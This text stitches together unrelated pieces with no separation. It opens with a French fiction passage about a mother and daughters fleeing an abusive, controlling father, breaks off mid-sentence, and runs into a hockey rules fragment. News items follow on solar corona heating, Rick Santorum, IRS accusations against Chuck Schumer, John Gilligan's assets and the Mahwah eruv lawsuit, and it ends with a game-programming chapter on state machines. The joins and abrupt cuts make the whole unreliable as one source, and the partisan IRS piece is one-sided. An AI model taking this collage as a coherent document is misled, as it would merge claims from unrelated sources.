Et elle ne peut pas les appeler non plus : en plein cours, elles ne décrocheront pas, elles craindront que ce ne soit leur père, qui, une fois de plus, souhaiterait vérifier si elles l'ont bien éteint, ou si elles ne sont pas en train de sécher pour se laisser draguer - elles, les puces, qui ne font que bosser, bosser, bosser, et ne reçoivent jamais personne, ni ne vont jamais à aucune fête... A chaque pause, en revanche, et dès la classe quittée le soir, oui, tous les jours, elles ont ordre de décrocher, aux bonnes heures ; il appelle alors instantanément, vérifie, leur demande parfois de le laisser ouvert et de le tenir en main, juste pour s'assurer qu'on ne les aborde pas, ou que, si on le fait, on ne leur parle pas de tendresse... Mais là elle ne décrocheront pas. Et les appeler juste à leur sortie signifierait bloquer la ligne de l'une ou de l'autre, s'il appelle à ce moment et que c'est occupé, il est capable de venir immédiatement en métro, il l'a déjà fait, le résultat pire que le mal...
Il lui reste les SMS. Elle ne leur en envoie que très rarement : parfois, en rentrant, il connecte les téléphones des filles, parfois celui de sa femme. Il ne travaille pas, mais il est quand même informaticien, et pour ça il a des restes : il vérifie l'historique des appareils, et est capable, elles l'ont déjà toutes les trois douloureusement constaté, de savoir si des messages ont été envoyés, et à quel numéro, même si on les efface - et s'ils sont effacés, c'est bien pire, parce que sa possessivité tyrannique et sa jalousie maladive lui font aussitôt penser que sa femme le trompe, ou que ses filles font des "cochonneries" avec un garçon, et l'enfer se déchaîne une fois de plus...
Mais là c'est un cas d'urgence : elle ne VEUT pas que Nathalie rentre, elle ne sait pas ce qu'elles vont pouvoir faire, mais... Au minimum, mettre au point rapidement une version commune pour cette histoire de congés, qu'elle, cette conne, a aidé Nathalie à poser, effectivement, tant elle la voyait pâle, amaigrie, tant elle sentait que sa fille en avait besoin, de cette pause secrète - en fait de garçon, elle avait juste été chez une copine à elle réellement souffrante - Laurence se demande à l'instant si elle n'avait pas inconsciemment espéré, en lui accordant ça, que les deux filles se parlent, que Nathalie dise à son amie ce qui se passait chez elle...
Elle compose fébrilement le message sur son portable, commun à ses deux filles : "Votre père est fou de rage. Il sait pour l'absence de Nath'. Il veut lui faire du mal. Il faut qu'on se voie, qu'on trouve une solution. Rappelez-moi. Maman". Ses mains tremblent lorsqu'elle appuie sur "envoyer", elle imagine ce que ferait Igor s'il lisait ce texte. Elle l'efface aussitôt, et elle se met à attendre : seize heures dix, seize heures quinze... Enfiler les manteaux, partir, rapidement, descendre, se retrouver devant les portes du lycée, ouvrir les téléphones si ce n'est pas déjà fait, lire ce putain de message, vite. Vite. Seize heures vingt. Elles n'ont pas rappelé, ce n'est pas possible, elles devraient prendre le bus en principe maintenant... Seize heures vingt-cinq, toujours rien, elle pleure maintenant, elles ne l'ont pas eu, elles vont bientôt arriver près de la maison, mais quelle conne, appelle-les, APPELLE-LES!
Elle compose enfin le numéro de Nathalie, mais son téléphone sonne au même moment. Elle pense à sa fille, et hurle presque en décrochant : "Allo, Nath', bon sang, je crevais de trouille! Pourquoi tu..." Une voix calme, froide, neutre, l’interrompt : "Pourquoi tu crevais de trouille, grosse vache? Et qu'est-ce qu'elles foutent, les filles? Je n'arrive pas à leur parler, ça ne décroche pas..." Laurence s'est figée, comme s'il venait de lui enfoncer un pieu au travers du corps. Elle le connaît, ce ton-là, elle sait exactement ce que ça signifie pour après, quand tout à coup son ton va enfler soudain jusqu'aux hurlements, et que ses poings serrés vont partir... Elle est tétanisée, impossible de trouver quoi que ce soit à lui dire, elle bredouille, "euh, je ne... Elles vont..." - mais son portable lui signale un autre appel entrant, reconnectant un morceau de son cerveau à la situation ; et l'impensable se produit : elle raccroche. Elle raccroche au nez d'Igor et de ses insultes. Comme ça.
Elle n'a pas le temps de s'en étonner, l'autre appel sonne, et cette fois, ce sont bien ses filles, pas Nathalie mais sa sœur, Stéphanie, son diminutif s'affiche - merci mon Dieu. "-Stéph'? -Maman!" Les deux ont crié en même temps, son cœur se remet à fonctionner, même si elle entend immédiatement la peur dans la voix de sa fille aînée.
Stéphanie lui explique qu'elles n'ont eu son message que dans le bus, retardant le plus possible le moment de rallumer les téléphones. Elles ont paniqué, surtout Nathalie, évidemment, qui n'arrivait plus à rien dire, elle s'est mise à pleurer fort, à trembler, elle ne savait pas quoi faire pour la calmer. Elle a alors décidé de descendre deux arrêts plus tôt que le leur, elle raconte que Nathalie ne voulait pas, elle était terrorisée, elle s'accrochait au poteau pour ne pas descendre, des gens ont failli intervenir, mais finalement les deux sœurs sont descendues, elles sont sous la flotte, près de l'église - "Maman, Nathalie tremble de partout, et papa a essayé plein de fois de nous appeler, on n'a pas répondu, mais, maman... Qu'est-ce qu'on va faire, maintenant?"
Mélange de fierté, de panique, d'accablement, de terrible colère, dans la tête de Laurence, en entendant les sanglots qui montent dans la gorge de sa fille aînée, les tremblements de sa voix, en les imaginant en train de se tremper sous la pluie battante, au milieu de rien, sachant bien toutes deux, comme elle-même, qu'elles ne peuvent plus rentrer, moins encore maintenant, elles ont enfreint trop de règles, et ne pouvant pas non plus rester là, évidemment - d'autant que l'autre salopard va se mettre en chasse, si ce n'est pas déjà fait... Nathalie, la plus chétive, la plus jeune d'un an, en panique, qui ne va pas tarder à vomir de trouille, la malheureuse - et Stéphanie, qui doit la tenir par la taille, plus fonceuse, courageuse, qui aime tant sa petite sœur qu'elle a parfois assumé les "bêtises" à sa place face à Igor, et qui à l'instant encore ne pense qu'à elle, n'a pas dit un mot d'elle-même, pas émis une seule...
Plainte.
_________
Il y a des instants où tout change. Quelques secondes, qui transforment votre vie, vous dites-vous quand vous y repensez plus tard. Une décision, un choix, qui n'en sont déjà plus, parce que, alors que vous réfléchissiez déjà au problème dans tous les sens, depuis si longtemps, que rien ne vous semblait évident, que vous imploriez le Ciel ou tout ce en quoi vous croyez de vous apporter, enfin, une solution... C'est là, tout à coup, brusquement. Vous savez ce que vous avez à faire, il n'est même plus utile d'y réfléchir.
Pourquoi cette fois-là? Nous en reparlerons souvent, avec Laurence, plus tard - et il n'y a pas de réponse évidente. Des |
keeper):
According to the rule, Calvert either needs to be outside of the crease before the shot occurs or avoid making any contact. Again, the rationale of the rule is to give the goaltender the ability to make a save. Did Calvert make a reasonable effort to avoid any contact with Allen which, mind you, is the only way this play would be deemed legal and not goaltender interference?
No. Calvert clearly impedes Allen’s attempt to make the save. Again, the rationale of the rule.
The correct call in this situation was made.
Follow on Twitter @BBSunsNews in Science
Sun's hot mystery solved
Magnetic magic One of the Sun's greatest mysteries has been solved: why it gets hotter, rather than cooler, further away from its surface.
The Sun's visible surface, the photosphere, has a temperature of about 6000°C, which increases dramatically to millions of degrees in the Sun's upper atmosphere or corona.
Braided magnetic streams of superheated plasma are the most likely source for the Sun's 6-million degree coronal temperatures, say a team scientists led by Dr Jonathan Cirtain from NASA's Marshall Space Flight Centre.
The discovery means there are at least two different mechanisms heating the Sun's atmosphere, they report in the journal Nature.
"Alfven waves, which involve the low frequency oscillation of ionised gas in a magnetic field, combined with plasma jets called spicules, bring temperatures up to about 1.5 million degrees," says Cirtain.
"The new observations show braided magnetic strands are likely to provide the additional heating needed to reach temperatures of over six million degrees."
The Sun's activity, including solar flares, coronal mass ejections and plasma eruptions, are powered by magnetic fields generated deep below the solar surface. These magnetic fields form loops extending beyond the surface into the Sun's atmosphere. Plasma flows along these fields, outlining them with glowing threads, just like iron filings sprinkled around a bar magnet shows its magnetic field lines looping from one end of the bar to the other.
The scientists observed this process, known as'magnetic reconnection', using the new High-resolution Coronal Imager (Hi-C) telescope.
Five spectacular minutes
Launched into space on a five-minute flight, the Hi-C photographed the Sun in ultraviolet wavelengths, which are blocked by Earth's atmosphere.
The Hi-C provided a degree of image resolution five times better than any previous observations, says Cirtain.
It showed that the Sun is dynamic, with magnetic fields constantly warping, twisting, and colliding in bursts of energy which boost the corona's temperature to millions of degrees, he adds.
"The suborbital flight only lasted five minutes, but gave us images showing interweaved magnetic fields braided like hair," says Cirtain.
"As these braids relaxed and straightened, they released enough energy to heat the plasma in the corona to over 6 million°C."
"We also saw an area where magnetic field lines crossed each other then straightened out as the fields reconnected, minutes later, that spot erupted with a mini solar flare."
In the future, Cirtain hopes to put Hi-C aboard a satellite that could observe the Sun continuously at the same high level resolution.
"We only had five minutes of observing time on the sub-orbital flight," says Cirtain.
"Imagine what we could learn by watching the Sun 24/7 with this telescope."7 years ago
(CNN) - White House hopeful Rick Santorum said he didn't hear boos from the audience when a gay soldier asked a question via YouTube at Thursday night's GOP presidential debate.
"I condemn the people who booed that gay soldier," Santorum said on Fox News Friday. "Certainly had I heard them, I would have said, 'Don't do that. This man is serving our country and we are to thank him for his service’."
At the debate, sponsored by Fox News and Google, the soldier asked the candidates if they had plans to fight the repeal of "Don't Ask, Don't Tell," which went into effect Tuesday.
"In 2010, when I was deployed to Iraq, I had to lie about who I was because I'm a gay soldier and I didn't want to lose my job," said Stephen Hill. "My question is, under one of your presidencies, do you intend to circumvent the progress that's been made for gay and lesbian soldiers in the military?"
A few jeers from the crowd of thousands could be heard as the video finished.
In response to the question, Santorum, an unapologetic social conservative, said any type of sexual activity has no place in the military and argued that the policy be reinstituted.
"Sex is not an issue. It should not be an issue," Santorum said. "Leave it alone, keep it - keep it to yourself, whether you're a heterosexual or a homosexual."
The exchange at the debate drew criticism Friday from advocates of the DADT repeal, including the Servicemembers Legal Defense Network.
“No service member defending our freedoms in Iraq should be booed for expressing his or her views as an individual," said SLDN director Aubrey Sarvis in a statement. "I regret that this brave patriot was not defended last night in Orlando and that no candidate spoke up to say ‘Don’t Ask, Don’t Tell’ repeal has been settled by Congress and our nation’s senior military leaders."
- CNN's Adam Levine contributed to this report.The Center for Competitive Politics has filed a complaint with the Senate Select Committee on Ethics claiming New York Senator Chuck Schumer and other Senate Democrats used the IRS to deny the free speech of political opponents.
Schumer had signed letters directing the IRS to look into allegations of improper campaigning by “social welfare organizations.” The IRS in turned investigated mostly conservative groups.
The complaint also mentions a Schumer speech titled “The Rise of the Tea Party and How Progressives Can Fight Back.” The Center for Competitive Politics says the speech demonstrated how the IRS could be used to attack tea party groups.
“The complaint documents how the senators improperly interfered with IRS adjudications to further their party’s electoral prospects,” Joe Trotter wrote for the Wall Street Journal. “They pressured the IRS to undertake income-tax investigations of specific organizations, to find that specific organizations were in violation of the law, to reach predetermined results pertaining to pending applications by individual organizations for nonprofit status, and to adopt specific regulatory interpretations and policies to further their campaign goals.”
If correct, the complaint reveals the attack on tea party and other conservatives groups did not originate in the White House, as previously claimed, but in the Senate.
“As outrageous as this is, we shouldn’t be shocked,” notes Poor Richard’s News. “It was just a matter of time. History has taught us that if a government is large enough to be capable of doing something like this, it will eventually do it. That’s why the federal government should be so small that it literally couldn’t target or oppress people even if it wanted to. Yet I hear few politicians seriously talking about abolishing the IRS.”
It is now up to the establishment media to look into the allegations. However, considering it long ago jettisoned its role as a watchdog over government and disposed of any pretense of investigative journalism, this prospect is unlikely.
Instead it will not be up to the alternative media to investigate Schumer’s role and that of his fellow Democrats who are running scared from the populist tea party and constitutionalist movements.Convicted drug dealer John Gilligan has lost his Supreme Court battle to hold onto some of his assets.
Gilligan and his family had argued that they did not get a fair hearing when his assets were frozen by the State in 1996.
They also argued that three houses in contention were not bought with the proceeds from crime.
Five judges of the Supreme Court unanimously agreed to dismiss the appeal.
The assets include two houses in Dublin and a house beside Gilligan's former Jessbrook equestrian centre in Enfield, Co Meath.
The centre itself, and 80 acres of land, was sold by the Criminal Assets Bureau in 2014.
The bungalow beside Jessbrook equestrian centre
Gilligan, his wife Geraldine and children Darren and Treacy claimed the properties were bought with legitimate earnings.
They appealed a previous decision by the Supreme Court that they were acquired with the proceeds of crime.
The Supreme Court ruled that there was a full trial, which was subject to a lengthy hearing with evidence given by witnesses on behalf of the Criminal Assets Bureau and on behalf of the Gilligans.
The Supreme Court judges also agreed that the evidence given by the CAB was repeatedly relied on during proceedings and therefore repeatedly scrutinised giving the Gilligans' multiple opportunities to challenge the evidence.
John Gilligan arrives for the Supreme Court ruling
The judgment continues that the essence of what CAB asserted was never undermined.
Gilligan spent 17 years in jail for drug trafficking and was released in October 2013.
CAB satisfied with judgment
In a statement this evening, the Criminal Assets Bureau said it was satisfied with the Supreme Court judgment.
CAB said: "The Bureau acknowledges the dedication, throughout the years, of the officers and staff, solicitor and counsel, and those who have contributed to finalising this issue."
The statement continued: "This case shows the determination and dedication of the Criminal Assets Bureau to deny and deprive people of the proceeds of crime"CLOSE There are three things Northwest Bergen residents fear will suffer from an Orthodox migration into their communities. Michael V. Pettigano
People visiting Winter's Park in Mahwah, which township residents have said is being overused by out-of-state visitors. (Photo: Mitsu Yasukawa/NorthJersey.com file photo)
The state Attorney General’s Office has filed a nine-count lawsuit against Mahwah and its Township Council, contending that a pair of ordinances adopted last summer discriminate against Orthodox Jews and recall the postwar era of white flight to the suburbs.
Rather than encouraging large-scale migrations of whites from urban areas to escape racial integration, Mahwah passed two ordinances that the state argues unlawfully disfavor Orthodox Jews and deprive them of their constitutional rights.
One ordinance banned non-New Jersey residents from using Mahwah's public parks and the other banned the posting of “lechis,” or little plastic strips, denoting the boundary of an eruv. An eruv is a perimeter within which Orthodox Jews can perform tasks they otherwise couldn’t on the Sabbath, such as pushing strollers and carrying keys.
EDITORIAL: Mahwah officials got the fight they were asking for
MORE ON ERUV: Murphy slams 'anti-Semitic' rhetoric around Mahwah eruv
The ordinances have fractured the town and given the perception of anti-Semitism among some of its residents. Council meetings have regularly turned raucous, with protests against the expansion of the Orthodox Jewish religious boundary from Rockland County, N.Y., into Mahwah and other northern Bergen County towns.
On Tuesday, Mayor Bill Laforet laid much of the blame for the inflamed rhetoric at public meetings on council President Robert Hermansen, whom he accused of stoking passions and fear-mongering.
“His disgraceful behavior is now worsened by the severe potential financial penalties facing the township's taxpayer,” Laforet said.
Hermansen could not be reached for comment Tuesday.
Laforet declined to comment on the state's lawsuit directly.
Mahwah and two other towns, Montvale and Upper Saddle River, have also been sued by the Bergen Rockland Eruv Association, which sought the eruv expansion. The state’s complaint, filed Tuesday in state Superior Court in Bergen County, asks the court to grant injunctions against the ordinances.
Supporters of the ordinances in Mahwah view them as vital steps to ward off population explosions that would lead to affordability, housing and overcrowding issues. But the state views the approval of the ordinances as violating both legal and moral codes.
A vandalized PVC pipe, marking an eruv, on Airmont Avenue in Mahwah. (Photo: Tom Nobile/NorthJersey.com file photo)
“In addition to being on the wrong side of history, the conduct of Mahwah’s Township Council is legally wrong, and we intend to hold them accountable for it,” Attorney General Christopher Porrino said in a statement. “To think that there are local governments here in New Jersey, in 2017, making laws on the basis of some archaic, fear-driven and discriminatory mindset is deeply disappointing and shocking to many, but it is exactly what we are alleging in this case. Of course, in this case we allege the target of the small-minded bias is not African-Americans, but Orthodox Jews. Nonetheless, the hateful message is the same.”
In addition to the discrimination charges, the state is seeking to reclaim $3.4 million in Green Acres funds awarded to the township by the Department of Environmental Protection.
The state contends that Mahwah violated the Green Acres Act by banning out-of-state residents from its parks because the law says the land acquired under the program cannot be restricted on the basis of religion or residency.
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“The Green Acres Program was created in 1961 and envisioned as a way to meet the recreation and conservation needs of our growing state. It was intended to ensure that in the future, there would always be plenty of open spaces across New Jersey for people — all people — to enjoy,” Bob Martin, commissioner of the Department of Environmental Protection, said in a statement. “What’s been happening in Mahwah with respect to the township’s parks ordinance is not in accordance with the original intent of the Green Acres Program. As such, it is unacceptable, and it cannot be allowed to stand.”
Story continues after document
The controversy dates back several years but erupted earlier this year when the township amended its sign ordinance to effectively ban lechis on utility poles. The council also voted to authorize Mahwah’s zoning officer to issue summonses against the Bergen Rockland Eruv Association for violating the existing ordinance. The state alleges that the eruv ban is unconstitutional and tantamount to housing discrimination because it interferes with the ability of observant Orthodox Jews to live in town.
The park ban was approved by the seven-member council unanimously when it was introduced in June. Later that month, council members heard comments from the public at a meeting as well as through social media and email, many of which were “overtly anti-Semitic” in nature, the Attorney General’s Office said.
The office noted one email sent to Hermansen from a resident who is not Orthodox and expressed concern that her mother, who lives in New York, would not be able to take her grandchildren to Mahwah’s parks. Hermansen responded that the grandmother had nothing to worry about and that the ordinance was not intended to address her type of situation, according to the Attorney General’s Office.
It said enforcement of the ban would “inevitably require” constitutional overreach by police officers to determine whether a visitor is a township resident by asking for documentation. The state complaint contends that the park ban and sign ordinance represent abuses of municipal power that violate the First, Fourth and 14th amendments of the U.S. Constitution.
Staff Writer Tom Nobile contributed to this article.
CLOSE An explanation of the Orthodox Jewish custom of an eruv. Wochit
Read or Share this story: https://njersy.co/2gGNDLEState
Confession time: I went a little overboard and packed way too much into this chapter. It’s ostensibly about the State design pattern, but I can’t talk about that and games without going into the more fundamental concept of finite state machines (or “FSMs”). But then once I went there, I figured I might as well introduce hierarchical state machines and pushdown automata.
That’s a lot to cover, so to keep things as short as possible, the code samples here leave out a few details that you’ll have to fill in on your own. I hope they’re still clear enough for you to get the big picture.
Don’t feel sad if you’ve never heard of a state machine. While well known to AI and compiler hackers, they aren’t that familiar to other programming circles. I think they should be more widely known, so I’m going to throw them at a different kind of problem here.
This pairing echoes the early days of artificial intelligence. In the ’50s and ’60s, much of AI research was focused on language processing. Many of the techniques compilers now use for parsing programming languages were invented for parsing human languages.
We’re working on a little side-scrolling platformer. Our job is to implement the heroine that is the player’s avatar in the game world. That means making her respond to user input. Push the B button and she should jump. Simple enough:
void Heroine :: handleInput ( Input input ) { if ( input == PRESS_B ) { yVelocity_ = JUMP_VELOCITY ; setGraphics ( IMAGE_JUMP ); } }
Spot the bug?
There’s nothing to prevent “air jumping” — keep hammering B while she’s in the air, and she will float forever. The simple fix is to add an isJumping_ Boolean field to Heroine that tracks when she’s jumping, and then do:
void Heroine :: handleInput ( Input input ) { if ( input == PRESS_B ) { if (! isJumping_ ) { isJumping_ = true ; // Jump... } } }
There should also be code that sets isJumping_ back to false when the heroine touches the ground. I’ve omitted that here for brevity’s sake.
Next, we want the heroine to duck if the player presses down while she’s on the ground and stand back up when the button is released:
void Heroine :: handleInput ( Input input ) { if ( input == PRESS_B ) { // Jump if not jumping... } else if ( input == PRESS_DOWN ) { if (! isJumping_ ) { setGraphics ( IMAGE_DUCK ); } } else if ( input == RELEASE_DOWN ) { setGraphics ( IMAGE_STAND ); } }
Spot the bug this time?
With this code, the player could:
Press down to duck. Press B to jump from a ducking position. Release down while still in the air.
The heroine will switch to her standing graphic in the middle of the jump. Time for another flag…
void Heroine :: handleInput ( Input input ) { if ( input == PRESS_B ) { if (! isJumping_ &&! isDucking_ ) { // Jump... } } else if ( input == PRESS_DOWN ) { if (! isJumping_ ) { isDucking_ = true ; setGraphics ( IMAGE_DUCK ); } } else if ( input == RELEASE_DOWN ) { if ( isDucking_ ) { isDucking_ = false ; setGraphics ( IMAGE_STAND ); } } }
Next, it would be cool if the heroine did a dive attack if the player presses down in the middle of a jump:
void Heroine :: handleInput ( Input input ) { if ( input == PRESS_B ) { if (! isJumping_ &&! isDucking_ ) { // Jump... } } else if ( input == PRESS_DOWN ) { if (! isJumping_ ) { isDucking_ = true ; setGraphics ( IMAGE_DUCK ); } else { isJumping_ = false ; setGraphics ( IMAGE_DIVE ); } } else if ( input == RELEASE_DOWN ) { if ( isDucking_ ) { // Stand... } } }
Bug hunting time again. Find it?
We check that you can’t air jump while jumping, but not while diving. Yet another field…
Something is clearly wrong with our approach. Every time we touch this handful of code, we break something. We need to add a bunch more moves — we haven’t even added walking yet — but at this rate, it will collapse into a heap of bugs before we’re done with it.
Those coders you idolize who always seem to create flawless code aren’t simply superhuman programmers. Instead, they have an intuition about which kinds of code are error-prone, and they steer away from them. Complex branching and mutable state — fields that change over time — are two of those error-prone kinds of code, and the examples above have both.
In a fit of frustration, you sweep everything off your desk except a pen and paper and start drawing a flowchart. You draw a box for each thing the heroine can be doing: standing, jumping, ducking, and diving. When she can respond to a button press in one of those states, you draw an arrow from that box, label it with that button, and connect it to the state she changes to.
Congratulations, you’ve just created a finite state machine. These came out of a branch of computer science called automata theory whose family of data structures also includes the famous Turing machine. FSMs are the simplest member of that family.
The gist is:
You have a fixed set of states that the machine can be in. For our example, that’s standing, jumping, ducking, and diving.
The machine can only be in one state at a time. Our heroine can’t be jumping and standing simultaneously. In fact, preventing that is one reason we’re going to use an FSM.
A sequence of inputs or events is sent to the machine. In our example, that’s the raw button presses and releases.
Each state has a set of transitions, each associated with an input and pointing to a state. When an input comes in, if it matches a transition for the current state, the machine changes to the state that transition points to. For example, pressing down while standing transitions to the ducking state. Pressing down while jumping transitions to diving. If no transition is defined for an input on the current state, the input is ignored.
In their pure form, that’s the whole banana: states, inputs, and transitions. You can draw it out like a little flowchart. Unfortunately, the compiler doesn’t recognize our scribbles, so how do we go about implementing one? The Gang of Four’s State pattern is one method — which we’ll get to — but let’s start simpler.
My favorite analogy for FSMs is the old text adventure games like Zork. You have a world of rooms that are connected to each other by exits. You explore them by entering commands like “go north”. This maps directly to a state machine: Each room is a state. The room you’re in is the current state. Each room’s exits are its transitions. The navigation commands are the inputs.
One problem our Heroine class has is some combinations of those Boolean fields aren’t valid: isJumping_ and isDucking_ should never both be true, for example. When you have a handful of flags where only one is true at a time, that’s a hint that what you really want is an enum.
In this case, that enum is exactly the set of states for our FSM, so let’s define that:
enum State { STATE_STANDING, STATE_JUMPING, STATE_DUCKING, STATE_DIVING };
Instead of a bunch of flags, Heroine will just have one state_ field. We also flip the order of our branching. In the previous code, we switched on input, then on state. This kept the code for handling one button press together, but it smeared around the code for one state. We want to keep that together, so we switch on state first. That gives us:
void Heroine :: handleInput ( Input input ) { switch ( state_ ) { case STATE_STANDING : if ( input == PRESS_B ) { state_ = STATE_JUMPING ; yVelocity_ = JUMP_VELOCITY ; setGraphics ( IMAGE_JUMP ); } else if ( input == PRESS_DOWN ) { state_ = STATE_DUCKING ; setGraphics ( IMAGE_DUCK ); } break ; case STATE_JUMPING : if ( input == PRESS_DOWN ) { state_ = STATE_DIVING ; setGraphics ( IMAGE_DIVE ); } break ; case STATE_DUCKING : if ( input == RELEASE_DOWN ) { state_ = STATE_STANDING ; setGraphics ( IMAGE_STAND ); } break ; } }
This seems trivial, but it’s a real improvement over the previous code. We still have some conditional branching, but we simplified the mutable state to a single field. All of the code for handling a single state is now nicely lumped together. This is the simplest way to implement a state machine and is fine for some uses.
In particular, the heroine can no longer be in an invalid state. With the Boolean flags, some sets of values were possible but meaningless. With the enum, each value is valid.
Your problem may outgrow this solution, though. Say we want to add a move where our heroine can duck for a while to charge up and unleash a special attack. While she’s ducking, we need to track the charge time.
We add a chargeTime_ field to Heroine to store how long the attack has charged. Assume we already have an that gets called each frame. In there, we add:
void Heroine :: update () { if ( state_ == STATE_DUCKING ) { chargeTime_ ++ ; if ( chargeTime_ > MAX_CHARGE ) { superBomb (); } } }
We need to reset the timer when she starts ducking, so we modify handleInput() :
void Heroine :: handleInput ( Input input ) { switch ( state_ ) { case STATE_STANDING : if ( input == PRESS_DOWN ) { state_ = STATE_DUCKING ; chargeTime_ = 0 ; setGraphics ( IMAGE_DUCK ); } // Handle other inputs... break ; // Other states... } }
All in all, to add this charge attack, we had to modify two methods and add a chargeTime_ field onto Heroine even though it’s only meaningful while in the ducking state. What we’d prefer is to have all of that code and data nicely wrapped up in one place. The Gang of Four has us covered.
For people deeply into the object-oriented mindset, every conditional branch is an opportunity to use dynamic dispatch (in other words a virtual method call in C++). I think you can go too far down that rabbit hole. Sometimes an if is all you need.
There’s a historical basis for this. Many of the original object-oriented apostles like Design Patterns‘ Gang of Four, and Refactoring‘s Martin Fowler came from Smalltalk. There, ifThen: is just a method you invoke on the condition, which is implemented differently by the true and false objects.
But in our example, we’ve reached a tipping point where something object-oriented is a better fit. That gets us to the State pattern. In the words of the Gang of Four:
Allow an object to alter its behavior when its internal state changes. The object will appear to change its class.
That doesn’t tell us much. Heck, our switch does that. The concrete pattern they describe looks like this when applied to our heroine:
First, we define an interface for the state. Every bit of behavior that is state-dependent — every place we had a switch before — becomes a virtual method in that interface. For us, that’s handleInput() and update() :
class HeroineState { public: virtual ~ HeroineState () {} virtual void handleInput ( Heroine & heroine, Input input ) {} virtual void update ( Heroine & heroine ) {} };
For each state, we define a class that implements the interface. Its methods define the heroine’s behavior when in that state. In other words, take each case from the earlier switch statements and move them into their state’s class. For example:
class DuckingState : public HeroineState { public: DuckingState () : chargeTime_ ( 0 ) {} virtual void handleInput ( Heroine & heroine, Input input ) { if ( input == RELEASE_DOWN ) { // Change to standing state... heroine. setGraphics ( IMAGE_STAND ); } } virtual void update ( Heroine & heroine ) { chargeTime_ ++ ; if ( chargeTime_ > MAX_CHARGE ) { heroine. superBomb (); } } private: int chargeTime_ ; };
Note that we also moved chargeTime_ out of Heroine and into the DuckingState class. This is great — that piece of data is only meaningful while in that state, and now our object model reflects that explicitly.
Next, we give the Heroine a pointer to her current state, lose each big switch, and delegate to the state instead:
class Heroine { public: virtual void handleInput ( Input input ) { state_ -> handleInput ( * this, input ); } virtual void update () { state_ -> update ( * this ); } // Other methods... private: HeroineState * state_ ; };
In order to “change state”, we just need to assign state_ to point to a different HeroineState object. That’s the State pattern in its entirety.
This looks like the Strategy and Type Object patterns. In all three, you have a main object that delegates to another subordinate one. The difference is intent. With Strategy, the goal is to decouple the main class from some portion of its behavior.
With Type Object, the goal is to make a number of objects behave similarly by sharing a reference to the same type object.
With State, the goal is for the main object to change its behavior by changing the object it delegates to.
I did gloss over one bit here. To change states, we need to assign state_ to point to the new one, but where does that object come from? With our enum implementation, that was a no-brainer — enum values are primitives like numbers. But now our states are classes, which means we need an actual instance to point to. There are two common answers to this:
If the state object doesn’t have any other, then the only data it stores is a pointer to the internal virtual method table so that its methods can be called. In that case, there’s no reason to ever have more than one instance of it. Every instance would be identical anyway.
In that case, you can make a single static instance. Even if you have a bunch of FSMs all going at the same time in that same state, they can all point to the same instance since it has nothing machine-specific about it.
This is the Flyweight pattern.
Where you put that static instance is up to you. Find a place that makes sense. For no particular reason, let’s put ours inside the base state class:
class HeroineState { public: static StandingState standing ; static DuckingState ducking ; static JumpingState jumping ; static DivingState diving ; // Other code... };
Each of those static fields is the one instance of that state that the game uses. To make the heroine jump, the standing state would do something like:
if ( input == PRESS_B ) { heroine. state_ = & HeroineState :: jumping ; heroine. setGraphics ( IMAGE_JUMP ); }
Sometimes, though, this doesn’t fly. A static state won’t work for the ducking state. It has a chargeTime_ field, and that’s specific to the heroine that happens to be ducking. This may coincidentally work in our game if there’s only one heroine, but if we try to add two-player co-op and have two heroines on screen at the same time, we’ll have problems.
In that case, we have to create a state object when we transition to it. This lets each FSM have its own instance of the state. Of course, if we’re allocating a new state, that means we need to free the current one. We have to be careful here, since the code that’s triggering the change is in a method in the current state. We don’t want to delete this out from under ourselves.
Instead, we’ll allow handleInput() in HeroineState to optionally return a new state. When it does, Heroine will delete the old one and swap in the new one, like so:
void Heroine :: handleInput ( Input input ) { HeroineState * state = state_ -> handleInput ( * this, input ); if ( state!= NULL ) { delete state_ ; state_ = state ; } }
That way, we don’t delete the previous state until we’ve returned from its method. Now, the standing state can transition to ducking by creating a new instance:
HeroineState * StandingState :: handleInput ( Heroine & heroine, Input input ) { if ( input == PRESS_DOWN ) { // Other code... return new DuckingState (); } // Stay in this state. return NULL ; }
When I can, I prefer to use static states since they don’t burn memory and CPU cycles allocating objects each state change. For states that are more, uh, stateful, though, this is the way to go.
When you dynamically allocate states, you may have to worry about fragmentation. The Object Pool pattern can help.
The goal of the State pattern is to encapsulate all of the behavior and data for one state in a single class. We’re partway there, but we still have some loose ends.
When the heroine changes state, we also switch her sprite. Right now, that code is owned by the state she’s switching from. When she goes from ducking to standing, the ducking state sets her image:
HeroineState * DuckingState :: handleInput ( Heroine & heroine, Input input ) { if ( input == RELEASE_DOWN ) { heroine. setGraphics ( IMAGE_STAND ); return new StandingState (); } // Other code... }
What we really want is each state to control its own graphics. We can handle that by giving the state an entry action:
class StandingState : public HeroineState { public: virtual void enter ( Heroine & heroine ) { heroine. setGraphics ( IMAGE_STAND ); } // Other code... };
Back in Heroine, we modify the code for handling state changes to call that on the new state:
void Heroine :: handleInput ( Input input ) { HeroineState * state = state_ -> handleInput ( * this, input ); if ( state!= NULL ) { delete state_ ; state_ = state ; // Call the enter action on the new state. state_ -> enter ( * this ); } }
This lets us simplify the ducking code to:
HeroineState * DuckingState :: handleInput ( Heroine & heroine, Input input ) { if ( input == RELEASE_DOWN ) { return new StandingState (); } // Other code... }
All it does is switch to standing and the standing state takes care of the graphics. Now our states really are encapsulated. One particularly nice thing about entry actions is that they run when you enter the state regardless of which state you’re coming from.
Most real-world state graphs have multiple transitions into the same state. For example, our heroine will also end up standing after she lands a jump or dive. That means we would end up duplicating some code everywhere that transition occurs. Entry actions give us a place to consolidate that.
We can, of course, also extend this to support an exit action. This is just a method we call on the state we’re leaving right before we switch to the new state.
I’ve spent all this time selling you on FSMs, and now I’m going to pull the rug out from under you. Everything I’ve said so far is true, and FSMs are a good fit for some problems. But their greatest virtue is also their greatest flaw.
State machines help you untangle hairy code by enforcing a very constrained structure on it. All you’ve got is a fixed set of states, a single current state, and some hardcoded transitions.
A finite state machine isn’t even Turing complete. Automata theory describes computation using a series of abstract models, each more complex than the previous. A Turing machine is one of the most expressive models. “Turing complete” means a system (usually a programming language) is powerful enough to implement a Turing machine in it, which means all Turing complete languages are, in some ways, equally expressive. FSMs are not flexible enough to be in that club.
If you try using a state machine for something more complex like game AI, you will slam face-first into the limitations of that model. Thankfully, our forebears have found ways to dodge some of those barriers. I’ll close this chapter out by walking you through a couple of them.
We’ve decided to give our heroine the ability to carry a gun. When she’s packing heat, she can still do everything she could before: run, jump, duck, etc. But she also needs to be able to fire her weapon while doing it.
If we want to stick to the confines of an FSM, we have to double the number of states we have. For each existing state, we’ll need another one for doing the same thing while she’s armed: standing, standing with gun, jumping, jumping with gun, you get the idea.
